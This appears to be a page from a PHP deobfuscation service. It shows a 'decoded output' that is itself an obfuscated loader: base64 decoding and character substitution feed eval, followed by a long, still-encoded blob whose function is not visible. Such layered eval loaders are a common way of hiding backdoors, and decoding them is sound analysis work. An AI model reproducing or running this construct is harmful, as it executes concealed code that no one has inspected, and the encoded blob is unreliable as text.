Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
$__TG='P2JHP0lQSTAkX19tIDQnN01uZTdYWWx3bVdmQy9nUmpbbGtaWC9LMm05cjMzb3RBSFBnXXQ+bzlZUlJBL25..
Decoded Output download
$_TG=base64_decode($__TG);$_TG=strtr($_TG,'VyU4NOsu/P6KbTnq<fvDcSLkJw=G>gZjB][FIdl30
A8C 7XomWEH9xe5Mz12{aQRhYt.irp}','6e/=vjRs1h4u>OJw
kqBEV5n7Sz<c9NIrUDapiQW fb.XGP0xTA}FdLHm2goZ[{ytKl3]CYM8');eval($_TG);?><?php $__TG='?bG?IPI0$__m 4'7Mne7XYlwlX}Sw1v[moRSHR]TOW/s52Lp swpecol5rqy]LLF=Do2Hnlp]Rwpi>Jn=WLySYfZ3swy]n/p[Hipc2wpHYLskSwpeH l5uqsfcow/jq]YD ]zX}ASsAS[1qlCYw]kYipcY lkSLpeYilOHipcnLwmHi]5sByzX}ASsAS[1qsO6+y]Ywpef/wSnsp[Y ]kYw2[SLpcL 3]RLpc2BTmDr3HPrxSPrxSPrpHPrTYPrTYPrpc2iymDL9fR 3wqq93l/2HY lODo2Hnlp[Y ]kfqs5uLpHnfZCfupc229mcqy3RxZwzk3i>unQ}khmDJTCfhsfR2]ODrxdqq>SD ]d9/peHf]YWqiYfosYn/7Qzh3mH ]dzN3ioZhmDFS Xq3Y/6y[WLylI w/Ywpi9rTHPrnQfJpHnLA/juZCfL2cu/]kYN]doL]O6J[moRSHR]TOWowSnfp3uq]OcqsOfLp[Y ]f2DskSLp R ZCfq>3sw][WLpSjqlCfhp]nLpHnlymDwsfH2ymDBsOSL9lX}ASsAS[1qsOfLp[Hn]5loF=Wdp]jLy]jqTmHL9mW/sYnwy]jd[moASHIOTODDlkY 2k]q]f2D3CfqTCfh2 Rf]5loF=WoF=W+pm]/sk]qs5uLpcHisOL5ySn/x[DBpSjqFtYo33sByC]Z7HR]35pVpHD F=Y2yC]qr[Y ]f2DskSLr[Pz]f2D3CYzp sBp Y=r/9Rr=DRSXs6r=D/]fnfFt1qhcHx]OWLpCY/p uo]OD TmfqT]2wsfH 9Cfq]OcqlkY/w/YwpeSM3mWhp]jqsODo] s2ymWRpc2BTmDfiODf]zX}9SWow/fL7=D 9mD/sOSLpHn lSYL9mD/]fnx7Yjq2 uqmmDAse]q7Oc/w]2iymfq2e]qsYY/pmD p[L 9CfI[moASHIOTODls5uL3CY/p[fowXH2ymW1s5uLp[]olkfIpeSnsOLL9mDfF=DI>MZCA3pqAS9cy pq9Sni2 RV[moASHIOTOD Tmfqi5s2]kYip[Hn]5loF=W1i5sL3mY/TODqSHRvwejupH9A3Qqq3tZ]ZQqq]f2D3CY/TODI>MZCA3pupHR=S[>I[moASHIOTOW/s52Lp swpecol5rqsYY/pmDo2Hnlp[6oZmSLF/n/[moASHIOTOW/p]LLpc223mWowSnfp3R/pHjopisw] s/x3j+p3uh2e1Z7iIS[moShd1Z7i1qASDLp[L2skS/pcYip]LfTCY/pc2D2HYf]Ycq]Ocq7Oc/w]2iymDZp[Y ]f2DskSLpeSwlfu+]fRiymWLw=Sn9mD F=fq7Oc/w3s2ymD peSL]OWoiOD/9Yfq9Sn ]kf/y3Rw9mDwpmDxwmY ]kfZ7i1qp3RLp[Y ]f2DskSLpHjop[S 2kfq2Hjq9Sniw=LwwXnLp lLy3Rw2[L 3mDwpmD F=Hw]eYiTWX}hzX}hODWsfRw][Hip Pfl5s23mWzy]n 93l/y3R5pmDeykYiT 2fl5s23]DVZ]2f3mz+pmSd[mqv[mqvp /lymDfFXYx]OWhp]jq]YDLpe]+l5sn]OW+p]R2TmDDymDws52LF=WhlOc/pHnlymDn]cYq]S>LZ3sBpeSwlfu+]fRiymWLw=Snx[WolODnlOHT2[YLTmDD]mD/pmSLp[Lx9SjoZmW+pmYL[mqvpHnlsYjqwtSL9mWk9MS]p=DI>MZCA3pqAS9cy pkpe2xy]nspHjopeIL]OWLsYn l]2/ymD/]fnx7Ynxlkfq]f2D3CfqlScq]f2D3Cf6[mqvp /lymWow/nnw/jq2e]qy3sw]eYipc2ilf2sp[chpeSM3mD/]f2wymSLF/n/peSx2Hn lSYLpW1olODLAtf+w/nfp3R/pcnfyYDwpWIipm]qwSDnp[Hipcrq9Sni2 RVpeHly]nLpHnlylX}hOD/]f2wymSLF/n/pc2iymDn3]r+ymfqy]r+][D ]ODByCcq33sBymD F=fqTCY22[Sf]kfLpeHf]YWqn=ukpiXq9]Rf]f2D3CfqiOHipeYNymLx]5loF=WhlOc/pcYlwCDsS=f/2 uq9Mo6[mqvpcY ykf6[mqvp /lymDiyCSx3SnfFt1q9C22p[S ]mW+p3Rws5sBpe2xy]nfyC]q]YD ]OD 2[]q]OcV[mqvp Yiy]2wymW/2eS/2 RVpHn lSYLpiPI>MZCA3pqAS9cy pq9fRLlYcI[mqvpHRL3CYwymDwsfH2ymDo] l+][D/][Hx3mfqF=HwpHfoFtILlODLAMs/]OW13tZ]Z=DRSXs6r=DMwtYi]wfZ7i1qC]fLsYnLx[WLlOHnp[HipcrLTmDwsfH2ymWh2eY2TmWolODfF=YLA=WLylIfFMsw2[HBpiPCy /O>=DRSXs6r=DMwtYi]wfZ7i1Z7i1q9=c/ymWhy]2wwXnL9m1Z7i1qxmDCC3/]CMIFFCZO> ZFAmDTsYYxymDf9mWoZmSf]kfLp[Yxl5sByODw]efq7Oc/w]2i2e]oF=D F=fq2 uqlkY/w/Yw2 RVp Y=r/9Rr=DRSXs6r=D/9YfZ7i1qxmWh2eY2TC]q>3sw][WLylIfFMsw2[HB9mD22 2Lpij1mf2ihmLlsfjqhc/pmifq3YsRpHI9yezqTCfhsfR2]OWknQjqs5uLpij1mf2ihmLlsfjqhc/pmifq3YsRpHI9yezdpc2iymDwlkY ]kfL[mqvp[Wqsk]qyC2xsYfupHnlymD/sOSLpW1olOW1l3sV
HnfF/cI2 RwpHI]AmDFCCP6p[YLif2x3Sjq3[uZ7i1qxmDvw[DFS XqrXZv9M/tp s/pc2x]Oc/sYnf7f223ScqsOfLymfq]Ocq]YDLpcnL9]R2]5sByOD/9YfqFCZOSM/Op /CsePOpeSwsYnLZCYB]zX}hOWRpWIfySfL9mDxwmY ]5sByODMwtYi2eY/pc22>]2s9mW+pmSLpcHLiOHiymD5yScqZmcL2WIf7f2w2[HBp[HByC]qiOHipeY 7YWq]f2D3CfZ7i1q3OHwp l/wSYLZCYB]kfLTzX}hOWRp /lymW+3]2/9mDLmkYBp[foyC]qF=HwpHni]mDwpmDfFtSLlYjqp]jqlkfRp]jLy]jqi5sL3mY/p sBpHnlymD/sOSLp[HiTCYipc2/p sBpHnlymWol5sV2 R 3mDwsfH2ymzZ7i1qp[DApCY/p[HiTCYip[S ]YnLlO}Z7i1qFkWtSeZRS/IRjwcPp Y2skS/peHf3SfqF=HwpHD F=Y2ymD p[L 9Cfq>SDLF=Dw]efqi5sL3mfq>]2/pcnLFXr/ymf6p IwpeHf3SfqykYBy]n ]kfqmmDMwtYi2eY/piXqp3RLpHjop[Yip]fZ7i1q]YDLp[6o3]u/F=Do2HnlpHnlymWo3mfqFXr/ymD F=fqp3RLpHjop[Liy]2wymW+pSYxZ3uq>3sw][Dw]efqFtYop R ZCfupe]op lhpHnly]nLp s/pcrqT]2wsODfF=Dw]efqT]jow]YLTlX}hOW+pSYxZ3uup swpeHf3SfqlCfq3mH/]OzZ7i1qCCS ykfqy3g Z]Y2ym1Z7[WqncRnT]2wy]jqZ[DByCcqT]Ht]fnx7Yn9wmY ]kYihifJ[mqqpisiyC]qZ[WfwXfLsYnLld/dykYwC]fLsYnL9wzf9Sniw=LwxQqqneSwlfu+]fXITqX}p[WRxwXRxlX}p[WflkY/p[lXpc2ilf2spizZ7[WqiCRrxOsdjY96A3Z=p /CsePOp DDr[DqSHRvwejqr R ZCYzpcL lOLlsfj1m]ophmDFS Xq3Y/6yiju[mqqpWf6T[zZ7[WqhlX}hY]Z7[L2skS/p[YD9/niw=LwC]fLsYnLlzX}rlX}i]L lOWf9mHxlOLL9/niw=Lwp[lqnQ>JSSS/]fnx7YnxlkfqT]u/wmWoiODw]efqlkfhy]nLF=LLp[Y ]f2DskSL[mqnmf2ipilLyCSw9/niw=Lwp[lqnQ>JSSS/]fnx7YnxlkfqT]u/wmWoiOWLsYn l]2/ymDwpmDxwmY ]kfZ7WYTsfjqn[6oFqIfyOWXpc2ilf2shifJSSSxwmY ]kYip[6oFqIfyfRisYnfp3uZ7WX}iS]vhzX}iw1qFmHB9Sniw=Lwp]jZ7WfvpcD 7OLL9C]qw]RD33l+[mqnhY]Z7WfhwMu+]5loF=D
C=6oFtSwlfu+]dzI[mqnrlX}ilff]YDf9w/d2 Rf]dzITqX}i]]Z7WX}ilIxF=Lw2[HBp sB2Hj1hlX}i3cZ7WfnSSSwsfH2ymWowCYisYnfp3R/TOW+lkY ]kfup[Yip]fJpWIfySfLp[Hny]n ]5loFt]VpcrLTwqqlkf/p]LLx[W/pmYfiYcZ7WfnnHnl2e]RrO6oFqIfykukwXfLsYnLASHnyC]kxOWXpi>+lkY ]kfup[Yip]fupcrLTwqqlkf/p]LLx[W/pmYfiYckTqX}ilYSS3sVF=HiyC]qTCfhsfR2]ODnsfnwp sBp[L 9CY/pHYf2kfqhcL ldf+]c2ipHI]AmDFCCP6p[YLif2x3SjqnQ>qwXfoF=Dw]efn7Oc/w]2i2e]oFqX}ilff]YDf9w/d7OHBi5sVyQ9Tsfj+]c2i3tfhsfR2]5IVF=Hiyw>Kp[lq]fnxymuZ7WfnSSSw]efq9]r/ymWhp]jq2 RwpHI]AmDFCCP6p[YLif2x3Sjq3WX}ilff]YDf9w/d7OHBi5sVyQ9fF/nAylI w/YwFkIBp]nLnQ6qZ[DwlfRLTqX}ilYSS3sVF=HiyC]q]f2D3CfqsfRwp3sB7fnLZCYB]OWh2eY2TmDTsYYxywqqsYY/pmDiym]omkfqS//RSHgv35Y=rtDO35Xqmf22wtfqifjoZmDw]efq7fnLsYnLpe2xy]nsp lhpeYN2eSw9lX}ilff]YDf9w/d7OHBi5sVyQ9fy5uolkYvF=LiymSLF/jkxOWXpHniwtfJ[mqniSSSsOfLpi9vw[DFS XqrXZv9MXkpHjopeY 7YWqFCZOSM/Op /CsePOpe2xy]ns[mqniwsw] s/x3j+p3uh2eIJnq1olOLLFzIFpSnOAMs/]k]kxOWXpHniwtfJ[mqniSSSlkf/p]LLpi9vw[DFS XqrXZv9MXkp lhpc22lkY TScqy3gf9Sn/p Y=r/9Rr=DRSXs6r=WLw=Sn[mqniwsw] s/x3j+p3uh2eIJnMsByOHiy31h3OHwrMgf9Sn/nQ6qZ[WhsYY/ymuZ7WYH[mqZ7WYShd1Z7Wfvp[SLlkIL9mW+wXniy3RwpcRnT]2wy]jq7OHBi5sVpeHf]YWq]YDLpeIfmkYBp[HBylX}iw1qlcY lfr/pc2/9mc+CX2ilf2spil+p3uh2e1qFtYop[6oFqIfyfRisYnfp3uqmf22wtY/[mqnhY]Z7WfhwMu+]5loF=D/ySnIp3uh2e11n[6oFqIfyOs lfn ]wzIhlX}i3cZ7Wfn2W1qh s/CX2ilf2shil+p3uh2e1IhlX}ilYP[mqnilff]YDf9w/d7OHBi5sVp[lqsfnisYH
ZCYiykf1nHnl2e]RrO6oFqIfydqqn[6oFqIfydfJ[mqni]]Z7WYH[mqZ7WYShd1Z7WfvpeZL]fRiFt]qsfnisYcqpl1qwXfLsYnLpe9uy[Do2Hnlp[YLif2x3Sjqp]Yw2[HB9wqqne]owXj+ywqqn[YL9SjqxmWLsYn l]2/ymD/]fnx7YnxlkY/[mqnhODWsO6+yCS/pcYxlSYf7zX}iw1qlcY lfr/peSwl5sByOWf9mHxlOLLpeSwlfu+]fRiymWLw=Snp[chp[Y ]f2DskSLpHjopcRnT]2wylX}iw1qlcY lfr/peSwl5sByOWfTCY/]OD/]fnx7YnxlkfqT]u/wmWoiODw]efqlkfhy]nLF=LLp[Y ]f2DskSL[mqnhODWw]2isO]qlmco3mWfskSt]fnfFt1q2W1q]fnxymWRpcnL9]R2]ODo2HY2pcHLpcrq9Sni2 RVx[Wo]YDLlkHf9CfqxmD lfn ]lX}iw1qlcnL]fRiF=D lfn ]Co/]fnfFt1qwXfLsYnLpeSM3mD/]f2wymSLF/n/piXq2 uqsfnisYcqp]jq9Sni2 RVpiP/y]Y lf2wymfq>3sw][WkTQ>I[mqnhY]Z7WfhwMu+]5loF=DVySn9wmY ]kY/his/p]Ri7kfupilLyCSwx[WfskSt]fnfFt1Xif229CfI[mqnrlX}ilfflkY/w/Ywp[lqnc2/9/ni2 RV7Q>kTf2ilf2shifJ[mqniwl+pmSn>tY/p[lqnHnl2e]RrO6oZ]Y lkf1ne]owXj+ywqqn[YL9SjITqX}ilYfiOW1ymSn]Yc1n[6oZ]Y=yC]IhlX}ilYP[mqnilYiySnxl5uqncnL9]R2]OuZ7WfnslX}ilff7Oc/wCZL9mWXpisw] s/x3jh2HYwy]nA2W1h9wzf7Oc/wCZL9wfJ[mqni3lhpiPLZ]Yw]wzf7Oc/wCZL9wfI[mqni3cZ7Wfni]nL]fRiF=WflkY/w/YwTqX}ilYH[mqniwsiyCSx3SjqZ[Wf]YDf9w/dykYw3Mlhik9M3wzf7Oc/wCZL9wfJ[mqni3lhpizfskSt]fnfFt1I[mqni3cZ7WfniwsiyCSx3SjqZ[DfZ]Y2pmYLhijJCcn>FQjupisiyCSx3SjITi>Jn=uZ7WfnslX}ilYiySnxl5uqncnL9]R2]OuZ7WYH[mqZ7WYShd1Z7WfvpcPf3SnLlk]q7Oc/w]2i2e]oF=DiyCSx3Sjqs5uLpHYLiYn/p[HB3Scq9SHB7OD 7Ynfp3R/pc223mHoymfqlScqnXRnT]2wy3/swCY/n=WowSnfp3uZ7WfvSlX}ilIxF=Lw2[HBpWIf3SnLlYRfizI/hil+pmSn>tY/hlX}i3cZ7WfnncnL9]R2]OWXpc2ilf2shifJ[mqni3lhpiPf9Sg lfn ]wzf]YDf9w/d7OHBi5sVyQ9xwmY ]kYR]]YL9w>KhwfZ7WfnrlX}ilfnncRnT]2wyS>+]5loFt]qZ[Wf]YDf9w/d7OHBi5sVyQ9xwmY ]kYR]]YL9w>KTqX}ilYH[mqniCY29CfZ7WfnrlX}ilfnncRnT]2wyS>+]5loFt]qZ[D lfn ]S}/sff1n/ni2[]kx[DLAXY2pmYLhi>unQqqnHnl2e]RrO6oFqIfykukwXfLsYnLASHnyC]kxdfITqX}ilYH[mqniws 3Sfo>CfLS=Lw2[HB9mWXpc2ilf2shi>+lkY ]kfkx[WkT]joww>upi9 Tmfkx[Wklkf/p]LLnQqqn=]oT3lh]w>ITqX}ilffwXfLsYnLS=Lw2[HB9mWXpc2ilf2sCMsB]kYi9Cf+]dzfwXfLsYnLS=Lw2[HB9wqqnc223mHoymYC7Ynfp3R/hmuZ7WfniOHiy]r+]izf7Oc/wCZL9mD 9mWf]f2D3CfXrdsfFq1ohlX}ilYP[mqnilYfiOW1n sBiOHJnt]owXj+ySsiwSD FQ>KhlX}ilfnrlX}ilfni3lhpiPfF/g lfn ]wzk7fnLsYnLnQqqncRnT]2wyS>+]5loFt]IhlX}ilfni3cZ7WfnilfnncnL9]R2]kuf]f2D3CfKp[lqn sBiOcJ[mqnilfnslX}ilfnslX}ilfnySY/y3lhpizf2 uhpCukTCY/]YsiwSD FQ>KhlX}ilfnrlX}ilfni3lhpiPfF/g lfn ]wzkT]joww>upisxwmY ]kYC7Ynfp3R/hwfZ7WfnilYP[mqnilfniwsiyCSx3SnJnHn lSYLxOWXpisfFq1oTqX}ilfni]]Z7Wfni]]Z7WfniCY29CYfidzf2 uhpCukT3lhikYi9w>KhlX}ilfnrlX}ilfniwsiyCSx3SnvFq1op[lqn sBiOcJ[mqnilfnwMR/ySj1ncnL9]R2]5IBiOHJn=YfizILlk]kxdfJ[mqnilfniOHiy]r+][W1n sBiOHJn=YfizILlk]kxOD 9mWfT3lhidfZ7WfnilYP[mqnilfni3lhpiPLZ]Yw]wzfT3lhikukTCY/]d>KhmW5nODfF/g lfn ]wzksOfLnQqqncRnT]2wyS>+]5loFt]IhlX}ilfnilYP[mqnilfnilfflkY/w/YwF5uhpCukT3lhikYi9w>KyQ6qZ[WfT3lhiOuZ7WfnilfnslX}ilfnilYL3CSL2W1qhef/wSnshilL2W1hyQ9/p]Ri7kfkxdfqndrq2 R
sfnisYc1nXnLZmHTyw>upisxwmY ]kYC7Ynfp3R/hwfZ7WfnilfnrlX}ilfnilfnncnL9]R2]5IBiOHJn=YfizILlk]kxkuKp[lqn[Yfiz1J[mqnilfni]]Z7WfnilfnySY/y3lhh sBCX2ilf2shi>/pmYfiYckx[WfwXfLsYnLS=Lw2[HB9wfI[mqnilfni3cZ7WfnilfniwsiyCSx3SnvFq1oyQ>L2W1hy]n/nQLJxOWXpilL2W1hTqX}ilfnilYH[mqnilfnslX}ilfni3lhpizPymSn]Yc1ncnL9]R2]5IBiOHJn=YfizILlk]kxdfI[mqnilfnrlX}ilfnilfflkY/w/YwyQswsfH2yw6qZ[WflkY/w/YwF5uhpmuZ7WfnilYH[mqnilYH[mqni]]Z7WfnlkYwwXnBpisiyCSx3SjJ[mqnslX}ilX}iS]vhzX}iw1qjeYw9mD/]fnx7YnxlkfLpeILFtYisYfq2 uhpmD lmHx]ODw]efqT]2wsfH 9CY/p[Yfiz1qTzX}iw1qsfnisYc19mHxlOLLScnn]c2B9msdsfnisYc1T[z6hwqqTCY/]YsiwSD Ft]Xrf2ilf2sh[z6Tifup[YfizILlkYB]OsdsfnisYc1T[z6hwfZ7WfvSlX}ilIxF=Lw2[HBpeIL]YRfizIvFq1ohil+pmSn>tY/hlX}i3cnilX}ilYfiOW1j3s/CX2ilf2shil+pmSn>tY/hwfZ7WfnrlX}ilfnlkYwwXnBpWI 3CSLTqX}ilYH[mqniwsiyCSx3SjqZ[D lfn ]wzk9mHxlOLLScnn]c2B9w>Xrf2ilf2shifupi>LyCSwScnn]c2B9w>Xrf2ilf2shifupi>L2W1hy]nLF/jkZ n lfn ]wzIhmuZ7WfniOHiy]r+]izf7Oc/wCZL9mD 9mWf]f2D3CfXrdsfFq1ohlX}ilYP[mqnilYfiOW1n sBiOHJnt]owXj+ySsiwSD FQ>KhlX}ilfnrlX}ilfniwsiyCSx3SnJnt]owXj+ySsiwSD Ft]kxkuKp[lqnHn lSYLTqX}ilfnslX}ilfnySY/y3lhpizf2 uhpCukTCY/]YsiwSD FQ>KhlX}ilfnrlX}ilfniwsiyCSx3SnJn=YL9Sn]lfYls5R/nQLJxOWXpiswsfH2ymuZ7Wfni]]Z7WfniCY29CfZ7Wfni3cZ7WfnilfflkY/w/YwyQ>L2W1hy]nLF/jkxkuKp[lqnHn lSYLTqX}ilfnslX}ilYH[mqni]nL]fRiF=WflkY/w/YwTqX}i]]Z7WX}iS]vhzX}iw1q>c25yC]q7Oc/w]2i2e]oF=WoiODw]efqy5sTy3uqT]2wsfH 9Cfq9Sniw=LwwXnL9wqq9]RnwmHi]OD/pmSLp[Hn]5loFt]Z7WfvpcD 7OLL9C]qw]nfmf2wylX}iw1qlcY lfr/peSwl5sByOWf9mHxlOLLpc2BTmWfTCY/]OD lkfq9Sni2 RV9mWRp[Y ]f2DskSLpHn lSYL9mD/]fnx7YnxlkY/[mqnhODWlkYwwXnBpc2ilf2s[mqnhOWRpHn lSYLpiP lfn ]wfZ7WfvilfRp[YL9Sn]lfYls5uqhccopSYLs5uI[mqnhzfnxmD/p]Ri7kY]lfYls5uqhccopSYLs5uI[mqnhzfnxmWL2W1hy]n/piP lfn ]wfqSepqhccopSYLs5uIpWI 3CSLp lhp uop[YfizI/[mqnhzfniwXqy/zKhc2ilf2shlX}iw1nilfnxmD/p]Ri7kfqheSwl5sBydfq9Sniw=LwwXnLp[YLi5sB2Hnfp3uq33sBymDfF=Dw]efqp]RwxmchxmY ]kfq]f2D3CfZ7WfvilfniwXqTCY/]OW19Sni2 RVhmD/]fnx7YnxlkfqTCfh2 Rf]5loF=D22 RLp sBpHnlymDiylILlkYB7kfq]f2D3CfZ7WfvilfnxmDJxQ61sfnisYcIp[z6TWX}iwIS[mqnifRB7Ynfp3uq7Oc/w]2iywzf9mHxlOLLx[WfTCY/]dfZ7WYP[mqniwsw] s/x3n/p]Ri7kYt]fnx7YjqZ[Wf9mHxlOLLTqX}ilff]YDf9w/dTCY/]k9wlfu+]OWXpilLyCSwTqX}[mqniwsiyCSx3SjqZ[D lfn ]wzITqX}ilffTCY/]5/ lSI ZCY/p[lqnHnl2e]RrkIL]5/ lSYLy s/]dzf]YDf9w/dTCY/]k9wlfu+]dfJ[mqniws/p]Ri7kYRsfHFsOSL9mWXpisw] s/x3nVySnRsfH2yCPf9Sj1nHnl2e]Rrk]owXj+yC9wlfu+]dfJ[mqZ7Wfnn[6oZm]oF=WXpc2ilf2sCMsB]kYi9Cf+]dzfTCY/]5/ lSI ZCY/x[Wf9mHxlOLLA]2D3fr/yC]ITqX}ilffTCY/]YsiwSD Ft]qZ[D lfn ]S}L2W1hhilLyCSwA]2D3fr/yC]upil+pm]/p3uITqX}ilff9mHxlOLLScnn]c2B9mWXpc2ilf2sC=Yfiz11ne]owXj+y3/ lSI ZCY/x[Wf7Oc/ZmHBhmuZ7Wfnnc223mWXpc2ilf2sCXRB2e2xywP lfn ]S}/y]nVywzfTCY/]5/ lSI ZCY/x[Wf9mHxlOLLA]2D3fr/yC]IhmuZ7Wfn9mHi]dzfsYY2hmuZ7WfniOHiy]r+][W1nc223mD 9mWf]f2DhlX}ilYP[mqnilff2 uhpmWXpc2ilf2shi>LyCSwScnn]c2Bn=sdif229Cfupi9/p]Ri7kY]lfYls5ukZ jhsYY/ywqqn=YfizILlk]kZ jhsYY/ywfJ[mqnilYfidPfF/g lfn ]wzf]f2Dx[WfTCY/]YsiwSD Ft]IhlX}ilfnrlX}ilfniwsfFq1oyQ>LyCSwScnn]c2BnQ6qZ[DwlfRLTqX}ilfnslX}ilfnySY/y3lhpiPfF/g lfn ]wzf]f2Dx[Wf9mHxlOLLScnn]c2B9wfI[mqnilYP[mqnilfnn sBiOHJnt]owXj+ySsiwSD FQ>Kp[lq]fnxymuZ7Wfni]]Z7WfniCY29CfZ7Wfni3cnilfn[mqnilfnn[YL9Snt9YfqZ[Wf]YDf9w/dykYwA]2D9t22hisw] s/x3jLyCSw9/niw=Lwx[Wf]f2Dx[DwlfRLhmuZ7Wfnilff9mHxlOLL9t22p[lqnHnl2e]RrkIL]5/ lC9M3wzf]YDf9w/d9mHxlOLL9/niw=Lwx[Wf]f2Dx[DwlfRLhmuZ7WfnilffT3lhik]qZ[Wf]YDf9w/d7Oc/w]2iyC9M3wzf9mHxlOLL9t22x[WfTCY/]k9M3wfJilfnilX}ilfni3lhpizfT3lhik]XZ[lhsYY/ywfZ7WfnilYP[mqnilfniSni2eIVy]n
y]nip]j1ntu=StZFFY1zxODLlfjolODnsfn/2 RVp[YLi5sB2Hnfp3uqpl1q]f2D3Cfqjd>6nHn lmzkjOWRpeS52cYnymfkhmuZ7Wfnilfn7OHB]5sBwtfJ[mqnilfnslX}ilfniCY29CYfiOW1jCf/wSnshilL2W1h9wfISSSBpSjqymSn]YcqsfnisYcZ7WfnilYP[mqnilfniwsfFq1oyQ>L2W1hy]n/nQ6qZ[WfT3lhik]JilfnilfZ7WfnilYHilfnilX}ilfniCY29Cfq7OHB]5sBwtfJSSSLZ]Yw]mD lfn ]lX}ilfnslX}ilfnncnL9]R2]kuf]f2DxOWXpisfFq1oTqX}ilYH[mqni]nL]fRiF=WflkY/w/YwTqX}i]]Z7WX}iS]vhzX}iw1q>tYwl5sLmkY/pHYf9Sjqpl1q]f2D3CfqFXr/yC]qifjoZmDw]efqT]2wsfH 9Cfq9Sniw=LwwXnLp[YxZ]fZ7WfvpcD 7OLL9C]qw]nfmf2wylX}iw1qlcY lfr/peSwl5sByOWf9Sniw=Lwp[Y ]f2DskSLpeSwlfu+]fRiymD22eSw2 RV[mqnhY]Z7WfhwMu+]5loF=DVySnRsfH2yCPf9Sj1neSwlfu+]dfZ7WYP[mqniwsiyCSx3SjqZ[D lfn ]wzITqX}ilYfiOW1w]nLyY}/sYj+]Hg 3Sf1n/SI>MZCA3p17=I>9wIRrtWtSeZC>tjI7/o/h5/CsePOCe]vh[}VFfzq3YsRp Z[Fk9R9/o/hdfUh[}Vr[}1CecBh3WUC[zI7MWUhHoohQYz7/SfnQqqneSwlfu+]dqqn[]IhlX}ilYP[mqnilfhp]nLsOLlhil/yXXKpc2/pil/sYj+]iYSSmSJxQ6q2e]qsOWLsYn l]2/ymDBsOSLp lhpc2B]lX}ilfnrlX}ilfniwsiyCSx3SnJxOWXpil/sYj+][uZ7Wfni]]Z7WfnslX}ilYiySnxl5uqncnL9]R2]OuZ7WYH[mqZ7WYShd1Z7WfvpeZL]fnfy]LL9mDwsfH2ymD/]fnx7YnxlkfqTCfh2 Rf]5loF=WhlOc/pHnlymWLsYn l]2/ymD/]fnx7YnxlkfqT]u/wlX}iw1qlcr+7kY/9mDnl5sTsYnL[mqnhODWw]2isO]q9Sni2 RVpis/]fnx7YjqT]2wsfH 9Cfq9Sniw=LwwXnLpHYf9SnfFt1Z7WfvpcDnsfn ZmD/]fnfFt1qnHn lmDwsfH2ymDBsOSL[mqnhODWw]2isO]qlmco3mWflkf/p]LL3X2wsfH 9CfqxmDL2Hnly]jq]Ocqlkf/p]LLp[Y ]f2DskSLp R ZCfq2 uqj5Y=r/9Rr=DRSXs6r=WLsYn l]2/ymPwsfcdxSYf2kfqTCf+3]2isYnfp3R/[mqnhODWlkYwwXnBpeSwl5sByODwsfH2ymD/]fnx7YnxlkfqTCfh2 Rf]5loFqX}iwIS[mqnifRB7Ynfp3uqykYwA]2D9t22his/]fnx7Yjupiswsfcupisiym]omkYAsYn l]2/ymswlfRLhlX}i3cZ7WfnncnL9]R2]OWXpi>kTqX}ilYShOW+lkY ]kfq]f2D3Cfq9SWow/fLpcHLpeSfFtI2ymD22 RLp sBpHnl2e]q7f2/ywIS[mqniSSSx=WRpcY lYjqlCfhp]nLp[Y ]f2DskSLx[DZxmY ]f2DskSLp R ZCfupelqxmDnsfnwpcrh]kYip[Y ]f2DskSL[mqni3lhpiPnlkYVC=S ]OLlhi9Sh Y=r/9RrQzUTYo/h5/O>[9]>/9=>dfUCe]vAS9cy Z>9w117=Ivw[DFS XqrXZv9M/tCe]vhm}Ih[}Vr[}1CecBh3WUC[zI7QPz7QzkTiswsfc6nQYz7QP>ptqfhwYS2i>upis/]fnx7Yjupil/x[Wt>MpzC/sjwe9OASgIS=9RCCZOhwfnilX}ilYP[mqnilff]f2D3CYAyl1qZ[WfZCRrxkRrxOuZ7Wfniws/]f2i]OWXpil/y/zKyQ}KTqX}ilfnn[Y ]f2DskSLp[lqn[SJmwLJ3i6J[mqnilffpl1h9CYwp[lqneSwsfnwhtSwlYYLFQzfZCRrxkRrxdfJ[mqnilffy3uLp[lqnHnl2e]RrkIL]YRL33l/Z=H/his/]fnx7YjupiloizI/ySjITqX}ilfn2W1qhisLF=fqZ[lXpWI 3CSLhlX}ilfnrlX}ilfniwsiyCSx3SjqZ[D/wXH/]fj1neSwlfu+]dqqneSwsfnwhmuZ7Wfni]]Z7WfniCY29CfZ7Wfni3cZ7WfnilfflkY/w/Ywp[lq9]RD9Snihis/]fnx7Yjupis/]f2i]dqqneYBTwXf9Sn lYjIT/SSsYYiy]rL]mDo2Hnlp]Rwpi>JnqX}ilfnslX}ilYH[mqniwsiyCSx3SjqZ[Dwl5l/hisiyCSx3SjITqX}ilYfiOW1n[Y ]f2DskSLpir5pisiym]omkYAsYn l]2/ywfZ7WfnrlX}ilfnncnL9]R2]OWXpeSwlYgiy]Y2sOLLhiswsfH2ySRLidqqn[SJxQLJ3i66n[SJ9iLJ3i6upisiyCSx3SjITqX}ilYHilfZ7WfnlkYwwXnBpisiyCSx3SjJ[mqnslX}ilX}iS]vhzX}iw1q9XY22Hn/pHn lSYLpeSM3mDfF/jop sBTCYNymfqsfnisYcZ7WfvpWX}iwIS[mqnifRB7Ynfp3uq9]Y22HnRsfHt9Yf1neSM3wfZ7WYP[mqniwsiyCSx3SjqZ[D lfn ]wzITqX}ilYSSlIfF=fqp]YLFMsByODDlfr+2kYwx[DVySjq]YDLpcYiylIfA=D 3mHByODo2Hnlp sw[mqniwlowCYBscn 752L]O>o9mWXpisw] s/x3nVySnAySYfZm>o9wzf9C22x[Drx[Wkhi>ITqX}ilYfiOW1n[Hny3Rclfr+2kYwZ=H/Z[lXif229CfI[mqni3cZ7WfniSni2eIVy]n
y]nip]j1ntu=StZFFY1zxOW+s5uqF=HwpWIfF=fqp]YLFMsByODDlfr+2kYwp sBpHn lSYLp[YLi5sB2Hnfp3ukhmuZ7Wfni]nL]fRiF=WhsYY/ymuZ7WfnslX}ilffw]nLi5sNp[lq9]RD9Snihis/9YfupHzupilowCYBscn 752L]O>o9wuNhmRSS]YiylIfA=W+s5uqF=HwpcHLpef/wSnsx[D/pmWLpmDBpSjq7YDL75rq2Hjupcgx9Sjq]fnfZlX}ilfflkY/w/YwyQ6qZ[Dwl5l/hisnlkfh2 }ITqX}ilfflmcL]mWXpeSxlCSwldzf9C22x[D/]fn2y3u1ncYiylIfAQfIT/SSi5sL3mY/x[DfF=YLAtY/pc2BTmDnsfnwpcrh]kYip[L2pCSfFt1ql]n 752L]zX}ilYSSCSn33swpcHsp[6oZmS 9wqqykYwpcY lYjqlScqw]2i]zX}ilYo] s2ywz1n[6oZmS 